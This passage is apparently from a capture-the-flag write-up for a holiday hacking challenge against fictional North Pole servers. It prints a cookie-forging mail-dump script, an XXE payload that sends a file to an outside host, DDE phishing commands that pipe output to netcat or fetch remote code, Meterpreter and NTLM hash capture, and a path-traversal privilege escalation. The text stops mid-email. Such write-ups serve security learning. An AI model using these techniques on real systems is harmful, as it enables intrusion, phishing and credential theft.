With the throw commented out, we can encrypt an empty string: > var aes256 = require('aes256'); > aes256.encrypt('whatever', '') 'SStLU1QxLjmtG/Ea8hMH0Q==' > ct=aes256.encrypt('whatever', '') 'tYcVb4PRsdq4JWl5XMSNgw==' > aes256.decrypt('a different key entirely', ct) '' > ct.length 24  The length is different (24 instead of 22), but only because it is padded with 2 bytes of == for base64 purposes. • Tool Development We created a script, ewa.py, which will forge a cookie to login as a user, and then dump all the e-mails as JSON. In order to do this, we relied heavily on http://mail.northpolechristmastown.com/js/custom.js to see how the API worked, and duplicated portions of it in Python. This script allowed us to archive and search e-mails, which was useful for future questions. Here is the script: #!/usr/bin/env python3 import binascii import requests import sys import json import os PROXY = "socks5h://localhost:31080" class EWA: def __init__(self, host='http://mail.northpolechristmastown.com'): self.host = host ses = requests.session() ses.proxies = { "http": PROXY, } self.ses = ses def make_cookies(self, username): if '@' not in username: username = "{}@northpolechristmastown.com".format(username) cookies = {'EWA': json.dumps({ 'name': username, 'plaintext': '', 'ciphertext': 'aaaaaaaaaaaaaaaaaaaaaa', })} return cookies def getmail(self, username): cookies = self.make_cookies(username) resp = self.ses.post(self.host + "/api.js", data={"getmail": "getmail"}, cookies=cookies, ) resp.raise_for_status() return resp.json() def upload(self, username, filename): cookies = self.make_cookies(username) basename = os.path.basename(filename) with open(filename, 'rb') as f: # http://docs.python-requests.org/en/master/user/quickstart/#post-a-multipart-encoded-file files = {'sampleFile': (basename, f, 'application/vnd.openxmlformats-officedocument.wordprocessingml.document')} resp = self.ses.post(self.host + "/upload", cookies=cookies, files=files) body = resp.text #extract the link. The link is the one string between quotes that contains http #body looks like like: #<html><h1 style="text-align: center;">File Uploaded and link Attached!</h1><script>window.setTimeout(function() # {window.location.href = '/upload.js'}, 2000);</script><script>localStorage.setItem("file_link", # "http://mail.northpolechristmastown.com/attachments/DaM5HE08t7cynFqztM0a4VcVg8CBU2Gs7HprLQWzsdnSCRuj5L__cookies.docx");</script></html> links = [frag for frag in body.split('"') if 'http' in frag] return links[0] def send_mail(self, from_email, to_email, subject, message): message = binascii.hexlify(message.encode('utf-8')) cookies = self.make_cookies(from_email) resp = self.ses.post(self.host + "/api.js", data={ "from_email": from_email, "to_email": to_email, "subject_email": subject, "message_email": message, }, cookies=cookies, ) resp.raise_for_status() return resp.json() if __name__ == "__main__": username = sys.argv[1] m = EWA() mail = m.getmail(username) print(json.dumps(mail, indent=True))  And the script in action:  ./ewa.py alabaster.snowball > alabaster_inbox.json
$cat alabaster_inbox.json | jq '.INBOX[].HEADERS.body.subject' -c ["Welcome"] ["Re: Welcome"] ["Re: gingerbread cookie recipe"] ["COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Re: COOKIES!"] ["Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Re: Christmas Party!"] ["Should we be worried?"] ["Re: Should we be worried?"] ["Re: Should we be worried?"] ["Lost book page"] ["Re: Lost book page"] ["Re: Lost book page"] ["Re: Lost book page"]  #### Solution Alabaster Snowball had a vulnerability in his cookie validation code, where he wasn't verifying the length of the decrypted text. AES will encrypt an empty string as an empty string, so we can forge a cookie without needing to know the key. With this forged cookie, we can login to Alabaster's e-mail, and find an e-mail with a link to the page we're looking for. #### Alternatives If only we could crack Alabaster's password, we wouldn't need to forge any cookies. But more on that later… #### Common Pitfalls As previously mentioned, this seemed to be one of the most-discussed questions in chat. We saw people trying to brute-force the AES key, focus on the encryption of the message, or just try to bypass the web application completely. ### NPPD: Naughty Moles #### Question How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof? Minty Candycane offers some tips for this challenge in the North Pole and Beyond. #### Background Information I have a very important job at the North Pole: GDPR compliance officer. Mostly I handle data privacy requests relating to Santa's naughty and nice list. I maintain the documents for compliance on the North Pole file store server. The North Pole Police Department works closely with Santa on the naughty and nice list infractions. Mild naughty events are "1 coal" infractions, but can reach as high as "5 coal" level. I'm still a little shaken up from when I had to call them in the other day. Two elves started fighting, pulling hair, and throwing rocks. There was even a super atomic wedgie involved! Later we were told that they were Munchkin Moles, though I'm still not sure I can believe that. Unrelated, but: have you had the pleasure of working with JSON before? It's an easy way to programmatically send data back and forth over a network. There are simple JSON import/export features for almost every programming language! One of the conveniences of working with JSON is that you can edit the data files easily with any text editor. There are lots of online services to convert JSON to other formats too, such as CSV data. Sometimes the JSON files need a little coaxing to get the data in the right format for conversion, though. We need to answer 3 questions involving infractions, insider moles and who is throwing snowballs. We need 4 things to answer these questions. • We need data from the North Pole Police Department's infractions page. • We need the naughty and nice list from the SMB server that we accessed from question 3. • We need the Munchkin Mole Report BOLO also on the SMB server. • We need to complete the "Bumble's Bounce" level on the WebGL game in order to unlock a chat from Sam. #### Goal • To identify what factors trigger a 'naughty' flag. • To identify the six insider threat moles. • To identify who is throwing snow balls. #### Approach Playing around with the infractions page we can see that once you do a search a "Download" option becomes available to download all the search results in JSON format. Let's automate this to create a local copy of all the data. We can do this searching for all results before and during a specific date, and all results after that date. We then combine those results into a single file. We can automate this with a script we'll call nppd.py. #!/usr/bin/env python3 import requests import json BASE = "http://nppd.northpolechristmastown.com/" def search_infractions(query): url = BASE + "infractions" params = { "json": "1", "query": query, } resp = requests.get(url, params=params).json() return resp['infractions'] def download_infractions(): old = search_infractions("date <= 2017-12-10") recent = search_infractions("date > 2017-12-10") all_infractions = old+recent print("Old infractions", len(old)) print("Recent infractions", len(recent)) print("Total infractions", len(all_infractions)) with open("infractions.json", 'w') as f: json.dump(all_infractions, f, indent=4) if __name__ == "__main__": download_infractions()  Calling nppd.py creates a file 'infractions.json'. Now that we have the NPPD's infractions database we need compare it to the Naughty and Nice file we found on the SMB server. We can automate this process scriptomagically. While we're at it we should also script identifying the 6 insider threat moles as well. For finding the moles it appears their characteristics are pulling hair and throwing rocks. One caveat here is that there are two separate infractions for throwing rocks: "Throwing rocks (non-person target)" and "Throwing rocks (at people)". We'll include both, since we'd rather have a false positive than a false negative at this point in our investigation. We'll try to identify people on the infractions list that pull hair, and throw rocks, regardless of their target. To get the number of infractions needed to get onto the naughty list we take the names on the Naughty and Nice List that have been marked as "Naughty" and count the total number of infractions for those people and we identify the lowest number of infractions per person amongst all of them. So to automate all this we'll create a script which we'll call analyze_infractions.py to correlate our data. #!/usr/bin/env python3 import csv import json from operator import itemgetter from collections import defaultdict WANT = set(['Aggravated pulling of hair', 'Throwing rocks (at people)', 'Throwing rocks (non-person target)']) def get_naughty(): with open("../support_files/FileStore/Naughty and Nice List.csv") as f: reader = csv.reader(f) rows = list(reader) return [name for (name, naughty) in rows if naughty == 'Naughty'] def main(): byname = defaultdict(set) infraction_count_byname = defaultdict(int) with open("../output/infractions.json") as f: infractions = json.load(f) for i in infractions: byname[i['name']].add(i['title']) infraction_count_byname[i['name']] += 1 print("Six insider threat moles:") for n, titles in byname.items(): if len(titles & WANT) >= 2: print("*", n,titles) ############# min_infractions = min(infraction_count_byname[name] for name in get_naughty()) print() print("How many infractions are required to be marked as naughty on Santa's Naughty and Nice List:", min_infractions) if __name__ == "__main__": main()  After we run our script we get these results: Six insider threat moles: Isabel Mehta {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Throwing rocks (non-person target)'} Nina Fitzgerald {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Possession of unlicensed slingshot', 'Bedtime violation'} Kirsty Evans {'Giving super atomic wedgies', 'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Crayon on walls'} Sheri Lewis {'Throwing rocks (at people)', 'Aggravated pulling of hair', 'Possession of unlicensed slingshot', 'Naughty words'} Beverly Khalil {'Aggravated pulling of hair', 'Throwing rocks (at people)', 'Playing with matches', 'Possession of unlicensed slingshot', 'General sassing'} Christy Srivastava {'Tantrum in a private facility', 'Aggravated pulling of hair', 'Tantrum in public', 'Throwing rocks (non-person target)'} How many infractions are required to be marked as naughty on Santa's Naughty and Nice List: 4  Finally, once we play through the Bumble's Bounce level and get all achievements this chat gets unlocked and we have our answer for who is throwing snowballs. #### Solution It appears we need 4 infractions to make the Naughty list. Our six insider moles appear to be: • Isabel Mehta • Nina Fitzgerald • Kirsty Evans • Sheri Lewis • Beverly Khalil • Christy Srivastava In addition, we've already identified: • Bini Aru • Boq Questrian According to the unlocked chat with Sam, the person throwing snowballs is the Abominable Snow Monster, but maybe under someone else's control. ### EaaS: XML, XXE, and DTD – Oh My! #### Question The North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com/. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page? For hints on this challenge, please consult with Sugarplum Mary in the North Pole and Beyond. #### Background Information The Elf As A Service (EAAS) site is a new service we're experimenting with in the North Pole. Previously, if you needed a special engineer for toy production, you would have to write a memo and distribute it to several people for approval. All of that process is automated now, allowing production teams to request assistance through the EAAS site. The EAAS site uses XML data to manage requests from other teams. There is a sample request layout available that you can download. Teams just customize the XML and submit! I think some of the elves got a little lazy toward the go-live date for EAAS. The sample XML data doesn't even include a DTD reference. XML processing can be complex. I saw an interesting article recently on the dangers of external XML entities. This post is called out in the hints: Exploiting XXE Vulnerabilities in IIS.NET https://pen-testing.sans.org/blog/2017/12/08/entity-inception-exploiting-iis-net-with-xxe-vulnerabilities To pull off this attack, we'll need to host a file somewhere that the EaaS system can reach. We can either host it on l2s, in which case we'll use the following blog post for creating a file on that system, which is locked down with rbash: Alternatively, we could spin up an AWS VM using the instructions in: Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2) https://pen-testing.sans.org/blog/2017/12/10/putting-my-zero-cents-in-using-the-free-tier-on-amazon-web-services-ec2 The hints are all pretty strongly pointing us towards an XXE vulnerability. #### Goal We want to access C:\greatbook.txt, and then follow those instructions to retrieve a page of the Great Book. #### Approach We'll start with just pulling up the site in a browser: Poking around the site a bit, we see that it provides four functions: 1. We can view our current Elf order at http://eaas.northpolechristmastown.com/Home/DisplayXML, 2. On that same page, we can make a change to our order by uploading a file, 3. We can reset the XML file here: http://eaas.northpolechristmastown.com/Home/CreateElfs, 4. We can download the XML file here: http://eaas.northpolechristmastown.com/XMLFile/Elfdata.xml All this XML talk lines up pretty well with the blog post and the hints. Let's see if the EaaS site is vulnerable to XXE. Following along with the blog post, we'll create a malicious DTD file, borrowing liberally from the SANS post: <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">  If we can get the XML parser to use this DTD file, it will read our target text file, then send it to a system that we control. This file doesn't help the parser know how to parse our XML, but we don't really care if it gets parsed correctly or not. In order to have the XML parser load this DTD file, we'll use the XML example in the blog post: This example in the blog post had a typo, where the last character was a < instead of a >. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE demo [ <!ELEMENT demo ANY > <!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd"> %extentity; %inception; %sendit; ] >  This will load our evil.dtd file, then instantiate the necessary entities. To finish off the attack, we'll need two HTTP services running. The first will need to serve the evil.dtd file. Python's SimpleHTTPServer is the easiest way to do this, and in fact, that's provided on l2s. We'll create our file, with tee, then start a server. Ports 8080 and 4444 are very contentious on l2s, so we'll use non-standard ones instead: alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$ cat | tee evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://1.2.3.4:8272/?%stolendata;'>">
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.EtweHkIXQZGuoo51RBy2FSyA$python -m SimpleHTTPServer 8271 Serving HTTP on 0.0.0.0 port 8271 ...  In another terminal, we'll start up a netcat listener, to capture the response: alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$ nc -l -p 8272


With these services in place, we're ready to upload our malicious XML file. Using a web browser, we'll upload our XML file, and then see what happens.

Serving HTTP on 0.0.0.0 port 8271 ...
10.142.0.13 - - [10/Jan/2018 22:26:43] "GET /evil.dtd HTTP/1.1" 200 -


Great, our DTD file was loaded! And checking our netcat instance:

alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.sHkbOWKtpdnH8SGpCM2VAMgL$nc -l -p 8272  …nothing. That's disappointing. We've already noticed one typo in the blog. Could it be possible that there was another error? Taking a close look at the image on the page, we notice that part of the DTD file is escaped differently from how the example shows up on the webpage: We'll update our DTD file, so that the percent sign before sendit is escaped: <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt"> <!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">  We'll upload our file one more time, and… alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.yNLdj0xcg7AZi5v1gYns2lFO$ nc -l -p 8272
GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1
Host: 10.142.0.11:8272
Connection: Keep-Alive


Success! In the GET request, the text after ? is the contents of C:\greatbook.txt. If we pull up that URL, we get GreatBookPage6.pdf.

#### Solution

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://10.142.0.11:8271/evil.dtd">
%extentity;
%inception;
%sendit;
]
>


And this is our DTD:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://10.142.0.11:8272/?%stolendata;'>">


#### Common Pitfalls

This followed closely to the SANS blog post, but there was a typo and an HTML rendering issue with some of the provided code that caused some headaches.

### EMI: Going Deep

#### Question

Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

Shinny Upatree offers hints for this challenge inside the North Pole and Beyond.

#### Background Information

I'm still a little angry with Alabaster for reprimanding me for a security violation. He still checks his email from the EMI system!

He tells us not to install unnecessary software on systems, but he's running IIS with ASPX services on the EMI server, and Microsoft Office!

Personally, I don't use Microsoft Word. I'll take vim and LaTeX any day. Word does have its advantages though, including some of the Dynamic Data Exchange features for transferring data between applications and obtaining data from external data sources, including executables.

The question gives us a place to start. As we were reviewing the e-mails for Question 4, a few intriguing ones stood out:

From: minty.candycane@northpolechristmastown.com

To: alabaster.snowball@northpolechristmastown.com

Subject: Should we be worried?

Hey Alabaster,

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

I tried it on my local machine and was able to transfer a file. Here's a poc:

I know your the resident computer engineer here so I wanted to defer to the expert.

:)

-Minty CandyCane.

This certainly seems to line up with the hints that we were given. Alabaster's not worried, however:

Subject: Re: Should we be worried?

Quit worrying Minty,

You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.

Sincerely,

Alabaster Snowball.

The other e-mails that seemed intriguging were these two, also from Alabaster:

Hey Mrs Claus,

Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.

Thanks,

Alabaster Snowball

Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.

Thanks!

Alabaster Snowball.

#### Goal

We're trying to craft a malicious .docx file which we'll e-mail to alabaster.snowball@northpolechristmastown.com via the EWA system. When Alabaster opens the e-mail on the EMI system, the command that we embed in the file should get us access to C:\GreatBookPage7.pdf.

#### Approach

At this point, we have a pretty good idea of what we need to do. The sensepost blog post gives us some good instructions at how to construct a malicious docx, and we know how to get Alabaster to click on it.

However, there's a slightly easier way. On the SMB FileStor, we found a docx that Shinny created for Wunorse. If we show the fields (Alt+F9 on Windows, Option+F9 on Mac), we see that this document has a DDE field we can just modify.

Shinny told us that the EMI system also runs IIS, so let's just try copying the PDF into the default IIS webroot.

We'll open up MEMO - Calculator Access for Wunorse.docx, and edit the command to:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k copy C:\\GreatBookPage7.pdf


Then, we use the EWA web interface to send an e-mail to Alabaster, with the document attached. We make sure to include the words "gingerbread," "cookie," and "recipe" in the message body, since he told us that that's what he'll click on.

After we send the message, we wait a few minutes, and soon the file shows up!

#### Solution

We modified MEMO - Calculator Access for Wunorse.docx to copy the PDF into the IIS webroot, e-mailed that to Alabaster, then downloaded the copy of the file once it showed up.

#### Going Deeper – Command Execution

Getting the PDF is cool, but what else can we find on this system? Some of the other e-mails harp on Alabaster having installed netcat, and having it in his path. Let's run a command, and pipe the result to netcat, which will send it back to our system:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir C:\\ | nc 1.2.3.4 8888"


On our system, we start a netcat listener:

$nc -l -p 8888 Volume in drive C has no label. Volume Serial Number is 9454-C240 Directory of C:\ 12/04/2017 08:42 PM 1,053,508 GreatBookPage7.pdf 11/14/2017 07:57 PM <DIR> inetpub 09/12/2016 11:35 AM <DIR> Logs 12/05/2017 05:00 PM <DIR> Microsoft 07/16/2016 01:23 PM <DIR> PerfLogs 11/15/2017 02:35 PM <DIR> Program Files 11/14/2017 08:24 PM <DIR> Program Files (x86) 11/15/2017 03:03 PM <DIR> python 11/14/2017 08:39 PM <DIR> Users 11/30/2017 06:23 PM <DIR> Windows 1 File(s) 1,053,508 bytes 9 Dir(s) 33,072,455,680 bytes free C:\Users\alabaster_snowball\Documents>  Success! At this point, we started working on a way to automate this. However, more complex commands would often not work, due to issues with escaping. So instead of using cmd.exe as our delivery mechanism, we used Python. Python is installed on the system, and a simple command that we can run is to install a Python module via pip: python.exe -m pip install http://1.2.3.4/foo.tar.gz  When pip installs a module, it will run the setup.py file. By adding arbitrary Python code to this file, we can execute commands without needing to worry about encoding them in a Word document, etc. For a more in-depth discussion about why we used pip here, see the appendix. The end result was writing a complete end-to-end script, which will build a malicious Word document, e-mail it, create a malicious Python module, and use it to download the PDF. #### Level 2 – Meterpreter Shell Originally, the system had Windows Defender enabled, which would block some default Meterpreter payloads Instead of just downloading the PDF file, we can modify our script to send a Python meterpreter payload. We start Meterpreter listening on our local system: $ msfconsole -r python-meterpreter-staged-reverse-tcp-4444-py.rc

_                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
|/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

=[ metasploit v4.16.14-dev-140955f                 ]
+ -- --=[ 1698 exploits - 969 auxiliary - 299 post        ]
+ -- --=[ 500 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msf_payloads/python-meterpreter-staged-reverse-tcp-4444-py.rc for ERB directives.
LHOST => 1.2.3.4
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 1.2.3.4:4444


Now we use our all-in-one script to send Alabaster our malicious file:

$./full_phish.py   master Using 1.2.3.4 as external IP Found word/document.xml, rewriting 50793 bytes Before: DEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" After: DEAUTO c:\\windows\\system32\\cmd.exe "/k python.exe -m pip install http://1.2.3.4:8888/foo-1.0.tar.gz" File uploaded and available at http://mail.northpolechristmastown.com/attachments/emusQH5oH5K2hzajPFvJbTGMuS__gingerbreadcookierecipe.docx Sending message... {'result': 'Message <f67b9d00-b263-2fdf-f3d1-2d679bbca9f4@northpolechristmastown.com> sent: 250 2.0.0 Ok: queued as 28EF1C356D', 'bool': True} Using 1.2.3.4 as external IP Listening on port 44665 Starting server on port 8888, use <Ctrl-C> to stop Serving request 1 of 1... /foo-1.0.tar.gz foo-1 35.185.57.190 - - [10/Jan/2018 03:14:47] "GET /foo-1.0.tar.gz HTTP/1.1" 200 -  And sure enough, we see a new session in Meterpreter: msf exploit(handler) > [*] Sending stage (42231 bytes) to 35.185.57.190 [*] Meterpreter session 1 opened (1.2.3.4:4444 -> 35.185.57.190:52319) at 2018-01-10 03:15:51 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : hhc17-smb-server OS : Windows 2016 (Build 14393) Architecture : x64 System Language : en_US Meterpreter : python/windows  #### Getting Alabaster's Password Being able to use Meterpreter is nice, but it sure would be cool if we could Remote Desktop, or see if Alabaster's password is in use elsewhere. We'll use Metasploit's SMB Authentication Capture module. Try to avoid running Metasploit as root. In this case, we'll need to bind to a privileged port (445), but we can use iptables to redirect our traffic instead: sudo iptables -A PREROUTING -t nat -p tcp --dport 445 -j REDIRECT --to-port 3445 msf exploit(handler) > use auxiliary/server/capture/smb msf auxiliary(smb) > info Name: Authentication Capture: SMB Module: auxiliary/server/capture/smb License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <x@hdm.io> Available actions: Name Description ---- ----------- Sniffer Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte server challenge JOHNPWFILE no The prefix to the local filename to store the hashes in John format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. Description: This module provides a SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module. One way to force an SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to respond to queries for names the victim is already looking for. msf auxiliary(smb) > set SRVPORT 3445 SRVPORT => 3445 msf auxiliary(smb) > set JOHNPWFILE alabaster_snowball.john JOHNPWFILE => alabaster_snowball.john msf auxiliary(smb) > run [*] Auxiliary module running as background job 3.  Now, we'll send the following command via e-mail: DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir \\\\1.2.3.4\\a"  And sure enough, we get the following hashes: [*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:314d4bd798cac0c5fa2bb107ba248cc6 NT_CLIENT_CHALLENGE:0101000000000000d1b912a0358ad30143592f0cabfa891000000000020000000000000000000000 [*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:aaa7328ccd721a5e96bfb188eb4ecbdd NT_CLIENT_CHALLENGE:010100000000000001431ca0358ad301c89b21fb5e4c160d00000000020000000000000000000000 [*] SMB Captured - 2018-12-20 17:08:24 +0000 NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190 USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:71570491da3f413ce830788429820789 NT_CLIENT_CHALLENGE:010100000000000024042ba0358ad301a28a0bc07ea8214300000000020000000000000000000000  We now have the following file: alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a34215103b43a000b5807ab:0101000000000000f0a52fe4358ad3018486290b6477913300000000020000000000000000000000 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f174de38ee30de2136b53e:0101000000000000e4e554e4358ad301fee549fa52c9b5ef00000000020000000000000000000000 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d983096a0a895484a61834283f:0101000000000000fb6a68e4358ad301645b79e4a5ed58c300000000020000000000000000000000  We'll use hashcat to crack this: hashcat64.bin -m 5600 -a 0 alabaster_snowball.john.netntlmv2 wordlist.txt -O -w 4 ... alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a3...:Carried_mass_it_reader1 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f...:Carried_mass_it_reader1 alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d9830...:Carried_mass_it_reader1 Session..........: hashcat Status...........: Cracked Hash.Type........: NetNTLMv2 ...  Armed with a password, we can remote desktop: Woot! We're hand-waving some of this for now, as there will be a longer discussion about how we cracked passwords. #### Next up – Privilege Escalation! Unfortunately, our commands only run as Alabaster, who is just a regular user on the EMI system. We can do better than that. Once we got command execution on this system, we started looking to see what was running. It was obvious that Office was not installed, and we started to question whether Alabaster even used this system, or if it was all a big charade. We found that the system was running a service, called WindowsGrabber which would download new e-mails, try to parse out their DDE payloads, and execute them. It did this via C:\Program Files\WindowsGrabber\alabaster_snowball.py. That file also had credentials for the EWA system: srverAddress = '10.142.0.5' #srverAddress = '35.185.115.185' user = 'alabaster.snowball@northpolechristmastown.com' passw = 'power instrument gasoline film'  (As an aside, this code snippet also confirmed our theory about the systems moving from the public IPs we found during the Recon stage, to private ones). This service was running as the alabaster_snowball user that we could already run commands as, so it wasn't a target for privilege elevation. …and then, on December 23rd, all of that changed. The setup was changed, so now two services were running: WindowsGrabber was now running as LocalSystem, a very privileged account on Windows, and agrabber was running as Alabaster. The Python script was no longer readable by Alabaster, but it was modified so that instead of directly running the commands, it would write them to a file, and then the lesser-privileged agrabber service would run them from that file. Unfortunately, there was a vulnerability in alabaster_snowball.py. It turns out that there are two ways to send the file to Alabaster: we can either attach it via the EWA webmail interface, which uploads a copy to mail.northpolechristmastown.com and inserts a link in the e-mail, OR we can simply attach it to the e-mail. In the case of the latter, the script does the following: def save_attachment(self, msg): """ Given a message, save its attachments to the specified download folder (default is /tmp) return: file path to attachment """ download_folder = tempfile.mkdtemp() att_path = False for part in msg.walk(): if part.get_content_maintype() == 'multipart': continue if part.get('Content-Disposition') is None: continue filename = part.get_filename() att_path = os.path.join(download_folder, filename) if not os.path.isfile(att_path): fp = open(att_path, 'wb') fp.write(part.get_payload(decode=True)) fp.close() return att_path  The issue here is the line: att_path = os.path.join(download_folder, filename)  The filename is controlled by us, as it comes from the e-mail message itself. By prefixing our filename with ../../../.. we can write anywhere on the system, as the LocalSystem account. With unrestricted write access, how can we turn that into code execution? We could a number of techniques, such as DLL hijacking, but many are made more difficult by the fact that we can't read files with our privileged access, only write to them. Once again, we turned to Python. We targetted the alabaster_snowball.py script itself, with Python module injection. An import command such as: import glob  will cause Python to search for glob.py in the current directory, and then in some system-wide directories. If we can write a malicious C:\Program Files\WindowsGrabber\glob.py, the next time the service restarts, our code will run as LocalSystem. These files can break the alabaster_snowball.py script. Because they're being written as privileged, the regular Alabaster account cannot modify or delete them. Take great care in what you send! Our file ends up looking like this: import sys, imp, os def get_mod(modname): fd, path, desc = imp.find_module(modname, sys.path[::-1]) return imp.load_module("orig_" + modname, fd, path, desc) locals().update(vars(get_mod(__name__))) try: if not os.path.isfile("C:/Windows/Temp/have_run"): os.system('nssm install zGrabber C:\\Users\\ALABAS~1\\AppData\\Local\\Temp\\2\\4445.exe') open("C:/Windows/Temp/have_run", 'a').close() os.system('nssm start zGrabber') except: print("Could not run")  The top half loads the actual glob module, and makes it available to anything that imported our malicious glob module. The bottom half creates a new service, which will run a file that we uploaded, 4445.exe. This service uses the Non-Sucking Service Manager (nssm) that manages the other Grabber services, and will be installed as a LocalSystem service as well. Finally, we start our service, and ignore any exceptions in case we made a mistake. Getting this file right was a little nerve-wracking, and required a great deal of testing. The vulnerability we found will only allow you to write new files, and because the files are written as the LocalSystem account, there was no way to modify or delete them once written if this did not work. Now, we craft an e-mail, which has our base64-encoded glob.py as an attachment, and we give the attachment a filename that will put it in the right place: HELO l2s MAIL FROM:<wunorse.openslae@northpolechristmastown.com> RCPT TO:<alabaster.snowball@northpolechristmastown.com> DATA MIME-Version: 1.0 Subject: Test E-mail From: wunorse.openslae@northpolechristmastown.com To: alabaster.snowball@northpolechristmastown.com Content-Type: multipart/mixed; boundary="089e082f74245acc5b05624d7433" --089e082f74245acc5b05624d7433 Content-Type: multipart/alternative; boundary="089e082f74245acc5605624d7431" --089e082f74245acc5605624d7431 Content-Type: text/plain; charset="UTF-8" gingerbread cookie recipe --089e082f74245acc5b05624d7433 Content-Type: text/x-python-script; charset="US-ASCII"; name="glob.py" Content-Disposition: attachment; filename="../../../../../../../../../../../../Program Files/WindowsGrabber/glob.py" Content-Transfer-Encoding: base64 X-Attachment-Id: 